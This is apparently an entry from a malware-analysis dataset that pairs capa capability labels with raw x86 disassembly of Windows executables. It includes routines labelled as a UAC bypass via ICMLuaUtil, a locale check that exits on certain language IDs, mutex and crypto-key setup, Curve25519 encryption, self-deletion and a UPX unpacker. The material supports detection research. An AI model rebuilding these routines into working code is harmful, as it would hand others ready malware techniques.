joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407300
Capabilities:
Bypass uac via icmluautil
Get common file path
Get session user name
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1270
call fcn.00409750
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xc68]
push 0x104
push eax
push 0x401560
call edi
push 0x104
lea eax, [ebp - 0x240]
push eax
push 0x401574
call edi
lea eax, [ebp - 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x40735f
push 0x104
lea eax, [ebp - 0x240]
push eax
push 0x401594
call edi
push 0x104
lea eax, [ebp - 0x1270]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
test eax, eax
jne 0x40737b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea eax, [ebp - 0x858]
push 0x40a0cc
push 0x4015b4
push 0x104
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x448]
push 0x104
push eax
lea eax, [ebp - 0x858]
push eax
call edi
lea eax, [ebp - 0x448]
push eax
push 0x4015e4
lea eax, [ebp - 0x1068]
push 0x200
push eax
call esi
add esp, 4
lea edx, [ebp - 0x1068]
call fcn.00406d70
add esp, 0xc
lea eax, [ebp - 0x448]
push 6
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x401a70
lea eax, [ebp - 0x1068]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0xc]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x650]
mov dword [ebp - 0xc], 0x101
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 4]
push eax
push 1
lea eax, [ebp - 0x650]
push eax
push 0
call dword [sym.imp.NETAPI32.dll_NetUserGetInfo]
test eax, eax
jne 0x407511
mov eax, dword [ebp - 4]
push eax
mov esi, dword [eax + 0xc]
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
cmp esi, 2
jne 0x407511
call fcn.004094b0
push esi
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0x402438
mov dword [ebp - 0x10], eax
mov edi, 0x80004005
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x40
jg 0x4074d3
mov ecx, 0x24
lea eax, [ebp - 0x34]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x407484
push 0x402438
lea eax, [ebp - 0xa60]
mov dword [ebp - 0x34], 0x24
push 0x4023f8
push eax
mov dword [ebp - 0x20], 4
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 8]
push eax
push 0x402538
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0xa60]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov edi, eax
mov esi, dword [ebp - 8]
test edi, edi
jne 0x4074f9
test esi, esi
je 0x407505
mov eax, dword [esi]
lea ecx, [ebp - 0x1068]
push edi
push edi
push edi
mov eax, dword [eax + 0x24]
push ecx
lea ecx, [ebp - 0xc68]
push ecx
push esi
call eax
jmp 0x4074fd
test esi, esi
je 0x407505
mov eax, dword [esi]
push esi
mov eax, dword [eax + 8]
call eax
cmp dword [ebp - 0x10], 0
jne 0x407511
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407520
Capabilities:
Delete file
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
lea eax, [ebp - 0x410]
push 0x40a0cc
push 0x4015b4
push 0x104
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x10
lea eax, [ebp - 0x208]
push 0x104
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call fcn.00406c80
lea ecx, [ebp - 0x208]
call fcn.004096f0
test al, al
je 0x407582
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x408710
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create new key via cryptacquirecontext
Get disk information
Initialize winsock library
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b0
push 0x40a088
mov dword [0x40a4fc], 0
mov dword [0x40a0a0], 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea ecx, [ebp - 0x98]
call fcn.004071c0
push 0
push 0
push 0
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0
push 0
push 0x401500
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
imul ecx, dword [ebp - 4], 0x129b90
push 0x80
mov dword [ebp - 0xc], 0xf3f3f3f3
mov dword [ebp - 8], 0xf3f3f3f3
mov dword [ebp - 4], 0x94f460f3
lea eax, [ecx - 0x48bd]
mov word [ebp - 0xe], ax
imul eax, ecx, 0x129b90
add eax, 0x67075df3
mov dword [ebp - 0x14], eax
imul eax, eax, 0x129b90
add eax, 0x3b4b743
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ole32.dll_StringFromGUID2]
lea eax, [ebp - 0x98]
push eax
push 0x401d10
push 0x40a0cc
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x40a4f8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4088f1
call fcn.004026d0
xor edx, edx
mov ecx, 0x1f
div ecx
mov eax, 0x258
add edx, 0x3c
cmp edx, eax
cmova edx, eax
lea eax, [ebp - 0x4b0]
push eax
push 0x202
mov dword [0x40a0a8], edx
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0xf0000000
push 0x18
push 0x4010dc
push 0
push 0x40a4f4
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x40886f
push 0xf0000008
push 0x18
push 0x4010dc
push eax
push 0x40a4f4
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x4088f1
xor eax, eax
lea eax, [eax + 1]
lea edx, [eax + eax]
cmp word [edx + 0x401d18], 0
jne 0x408871
xor ecx, ecx
test edx, edx
je 0x4088a1
nop word [eax + eax]
mov al, byte [ecx + 0x401d18]
mov byte [ecx + 0x40a10c], al
inc ecx
cmp ecx, edx
jb 0x408890
xor eax, eax
push eax
push eax
mov word [edx + 0x40a10c], ax
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0x104
lea eax, [ebp - 0x320]
push eax
push 0x401d60
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0x4000080
push 2
push 0
push 0
push 0x10000000
lea eax, [ebp - 0x320]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x40a0a4], eax
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x408900
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Query environment variable
Run powershell expression

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb00
lea eax, [ebp - 0x510]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x104
push eax
push 0x401d80
call esi
push 0x104
lea eax, [ebp - 0x308]
push eax
push 0x401df0
call esi
push 0x104
lea eax, [ebp - 0x718]
push eax
push 0x401560
call esi
xor eax, eax
nop dword [eax + eax]
mov byte [ebp + eax - 0x100], 0
inc eax
cmp eax, 0x100
jb 0x408950
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea eax, [ebp - 0x308]
push eax
call esi
cmp eax, 0xffffffff
je 0x40897f
test al, 0x10
jne 0x40897f
push 0x401e60
jmp 0x408996
lea eax, [ebp - 0x510]
push eax
call esi
cmp eax, 0xffffffff
je 0x4089a3
test al, 0x10
jne 0x4089a3
push 0x401e70
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x100]
push eax
push 0x401e80
push 0x401ee0
lea eax, [ebp - 0xb00]
push 0x1f4
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x14
lea eax, [ebp - 0xb00]
push 0
push 0
push eax
lea eax, [ebp - 0x718]
push eax
push 0x401cd4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x409250
Capabilities:
Get common file path
Identify system language via api
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
mov ecx, 0x419
cmp ax, cx
je 0x4092fc
mov ecx, 0x42b
cmp ax, cx
je 0x4092fc
mov ecx, 0x82c
cmp ax, cx
je 0x4092fc
mov ecx, 0x42c
cmp ax, cx
je 0x4092fc
mov ecx, 0x423
cmp ax, cx
je 0x4092fc
mov ecx, 0x43f
cmp ax, cx
je 0x4092fc
mov ecx, 0x428
cmp ax, cx
je 0x4092fc
mov ecx, 0x442
cmp ax, cx
je 0x4092fc
mov ecx, 0x843
cmp ax, cx
je 0x4092fc
mov ecx, 0x443
cmp ax, cx
je 0x4092fc
mov ecx, 0x422
cmp ax, cx
je 0x4092fc
call fcn.004089f0
test al, al
jne 0x4092fc
call fcn.00408710
call fcn.00407300
call fcn.004093b0
call fcn.00407940
call fcn.00408900
jmp fcn.00408120
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4093b0
Capabilities:
Encrypt data using curve25519
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push ebx
push esi
push edi
lea eax, [ebp - 0x48]
push eax
push 0x20
push dword [0x40a4f4]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov al, byte [ebp - 0x29]
lea edx, [ebp - 0x48]
and byte [ebp - 0x48], 0xf8
lea ecx, [ebp - 0x28]
and al, 0x3f
or al, 0x40
push 0x401114
mov byte [ebp - 0x29], al
call fcn.00405540
add esp, 4
lea edx, [ebp - 0x48]
mov ecx, 0x40a0ac
push section..data
call fcn.00405540
add esp, 4
mov edx, 0x20
mov ecx, 0x40a0ac
push 0
call fcn.00402870
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
add esp, 4
test eax, eax
je 0x40942e
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call ebx
push 0
mov edx, 0x20
lea ecx, [ebp - 0x28]
call fcn.00402870
mov edi, eax
add esp, 4
test edi, edi
je 0x4094a5
push edi
push 0x401bd8
push 0x40a0cc
push 0x65
lea eax, [ebp - 0x248]
push 0x4023ec
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
mov dword [ebp - 4], 0
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x248]
push eax
push ecx
mov ecx, 0x40a10c
call fcn.00406850
add esp, 0x10
test eax, eax
je 0x409471
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
push 0
call esi
push eax
call ebx
push edi
push 0
call esi
push eax
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4096f0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x409703
test al, 0x10
jne 0x409703
mov al, 1
ret
xor al, al
ret

Function at 0x65c7d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x17f000]
push edi
jmp 0x65c7ea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x65c7f1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x65c7e0
mov eax, 1
add ebx, ebx
jne 0x65c803
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x65c814
jne 0x65c833
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x65c833
dec eax
add ebx, ebx
jne 0x65c820
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x65c7f8
add ebx, ebx
jne 0x65c82f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x65c885
xor ecx, ecx
sub eax, 3
jb 0x65c84b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x65c8ba
sar eax, 1
mov ebp, eax
jmp 0x65c856
add ebx, ebx
jne 0x65c856
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x65c824
inc ecx
add ebx, ebx
jne 0x65c864
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x65c824
add ebx, ebx
jne 0x65c871
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x65c866
jne 0x65c882
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x65c866
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x65c8a4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x65c896
jmp 0x65c7e6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x65c8a4
add edi, ecx
jmp 0x65c7e6
pop esi
mov edi, esi
mov ecx, 0xa876
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x65c8c2
cmp byte [edi], 0x22
jne 0x65c8c2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x65c8c7
lea edi, [esi + 0x258000]
mov eax, dword [edi]
or eax, eax
je 0x65c93f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2b0e14]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2b0f40]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x65c8f4
mov ecx, edi
jns 0x65c923
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2b0f44]
or eax, eax
je 0x65c939
mov dword [ebx], eax
add ebx, 4
jmp 0x65c911
call dword [esi + 0x2b0f54]
mov ebp, dword [esi + 0x2b0f48]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x65c973
sub esp, 0xffffff80
jmp 0x480bb9
Function at 0x403414
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
xor edx, edx
call fcn.00405fd0
test esi, esi
jne 0x40344c
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.0040610c
jmp 0x40346a
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00403358
mov edi, eax
test esi, esi
je 0x40346a
cmp dword [ebx], 0
je 0x40346a
dec esi
jmp 0x403453
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x40349c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x4ec008], 0x8088405
inc edx
mov dword [ebx + 0x4ec008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403b5c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x4ec024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403bf4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x403bd4
xor eax, eax
push ebp
push 0x403bcd
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403c2c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403bd4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x4ec024]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x4ec024], ax
mov esp, ebp
pop ebp
ret

Function at 0x404dcc
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4f0054], 0
je 0x404e2d
cmp word [0x4f0330], 0xd7b2
jne 0x404df5
cmp dword [0x4f0338], 0
jbe 0x404df5
mov eax, 0x4f032c
call dword [0x4f0348]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404e58
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4ec030], 0
jne 0x404e49
push 0
push 0x4ec780
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404ff8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x4ec034], 0
je 0x40501e
mov edx, esi
mov eax, ebx
call dword [0x4ec034]
jmp 0x40502d
mov eax, 8
call fcn.004030a0
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x4f0055], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404fc0
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc
Function at 0x40871c
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x40a23c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
mov esi, 0x4f2b60
push 0xa
push 0x40a2d0
mov eax, dword [0x4f2b50]
push eax
call sub.kernel32.dll_FindResourceW
mov ebx, eax
test ebx, ebx
jne 0x40a260
call fcn.00413cd0
push ebx
mov eax, dword [0x4f2b50]
push eax
call sub.kernel32.dll_LoadResource
mov ebx, eax
test ebx, ebx
jne 0x40a277
call fcn.00413cd0
push ebx
call sub.kernel32.dll_LockResource
mov dword [esi], eax
cmp dword [esi], 0
jne 0x40a289
call fcn.00413cd0
mov eax, dword [esi]
mov edx, dword [esi]
mov ecx, edx
add ecx, dword [eax]
mov dword [0x4f2b64], ecx
mov ecx, edx
add ecx, dword [eax + 4]
mov dword [0x4f2b68], ecx
mov ecx, edx
add ecx, dword [eax + 8]
mov dword [0x4f2b6c], ecx
mov ecx, edx
add ecx, dword [eax + 0xc]
mov dword [0x4f2b70], ecx
mov ecx, edx
add ecx, dword [eax + 0x10]
mov dword [0x4f2b74], ecx
add edx, dword [eax + 0x14]
mov dword [0x4f2b78], edx
pop esi
pop ebx
ret

Function at 0x40bb68
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x40bc11
test eax, edx
je 0x40bc14
push 0
push 0
cmp word [eax - 0xa], 2
je 0x40bb91
push edx
mov edx, eax
mov eax, esp
call fcn.004061d4
pop edx
mov eax, dword [esp]
cmp word [edx - 0xa], 2
je 0x40bba7
push eax
lea eax, [esp + 8]
call fcn.004061d4
pop eax
mov edx, dword [esp + 4]
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x40bbb6
movzx eax, word [eax]
sub eax, ecx
jmp 0x40bbdd
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x40bbf7
add ecx, 4
js 0x40bbce
pop eax
pop ebx
mov ecx, esp
mov edx, dword [ecx]
or edx, dword [ecx + 4]
je 0x40bbf4
push eax
mov eax, ecx
mov edx, 2
call fcn.00405098
pop eax
pop edx
pop edx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x40bbdb
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x40bbdd
xor eax, eax
ret
test eax, eax
je 0x40bc24
test edx, edx
jne 0x40bb78
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x40d024
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, esi
call fcn.0040605c
push eax
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x40d042
test al, 0x10
sete al
pop esi
pop ebx
ret
call sub.kernel32.dll_GetLastError
mov ebx, eax
cmp ebx, 2
je 0x40d063
cmp ebx, 3
je 0x40d063
cmp ebx, 0x7b
je 0x40d063
mov eax, esi
call fcn.0040cfe4
test al, al
jne 0x40d067
xor eax, eax
jmp 0x40d069
mov al, 1
pop esi
pop ebx
ret

Function at 0x40d06c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.0040605c
push eax
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x40d085
test al, 0x10
jne 0x40d089
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret
Function at 0x4112e4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x200]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x41131d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.0040610c
jmp 0x411326
mov eax, ebx
mov edx, esi
call fcn.00405fd0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x411330
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
mov ebx, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x411352
movzx eax, word [esp]
jmp 0x411354
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x411adc
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff778
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
xor ecx, ecx
push ebp
push 0x411c01
push dword fs:[ecx]
mov dword fs:[ecx], esp
push 0x400
lea ecx, [ebp - 0x888]
call fcn.004118f0
mov esi, eax
mov eax, dword [0x4efbc4]
cmp byte [eax], 0
je 0x411ba9
mov eax, dword [0x4ef774]
call fcn.00403564
call fcn.00403208
push 0
push 0
push 0
push 0
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
mov ebx, eax
push ebx
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x411ab8]
call fcn.0040790c
add esp, 4
push 0
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [ebp - 8]
push eax
push 2
push 0x411c1c
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x411be5
push 0x40
lea eax, [ebp - 0x88]
push eax
mov eax, dword [0x4ef6d0]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4f2b50]
call fcn.00407a00
push eax
call sub.user32.dll_LoadStringW_1
push 0x2010
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x888]
push eax
push 0
call sub.user32.dll_MessageBoxW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x411c08
lea eax, [ebp - 4]
mov edx, dword [0x411ab8]
call fcn.00407918
ret
Function at 0x412854
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x41292a
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00406024
lea eax, [ebp - 4]
call fcn.00406a28
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.0040605c
push eax
call sub.version.dll_GetFileVersionInfoSizeW
mov ebx, eax
test ebx, ebx
je 0x412914
mov eax, ebx
call fcn.004030a0
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x41290d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.0040605c
push eax
call sub.version.dll_GetFileVersionInfoW
test eax, eax
je 0x4128f7
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x41293c
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueW
test eax, eax
je 0x4128f7
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x412914
mov eax, dword [ebp - 0x10]
call fcn.004030bc
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x412931
lea eax, [ebp - 4]
call fcn.00405fc0
ret

Function at 0x413b78
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.00405414
mov ebp, eax
push 0
push 0
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
mov edi, eax
cmp edi, 0x104
jbe 0x413b22
mov eax, edi
add eax, eax
call fcn.004030a0
mov esi, eax
jmp 0x413b24
mov esi, esp
push edi
push esi
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
push edi
push esi
call sub.user32.dll_CharUpperBuffW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x413b5d
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x413b47
mov eax, esp
cmp esi, eax
je 0x413b6a
mov eax, esi
call fcn.004030bc
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x413ba4
cmp bl, 0
je 0x413ba0
cmp bl, 0x41
jl 0x413b9b
cmp bl, 0x5a
jg 0x413b9b
or bl, 0x20
xor al, bl
inc esi
jmp 0x413b7f
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x413ae4

Function at 0x42a9d0
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.0042a6d4
dec esi
jne 0x42a9f2
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret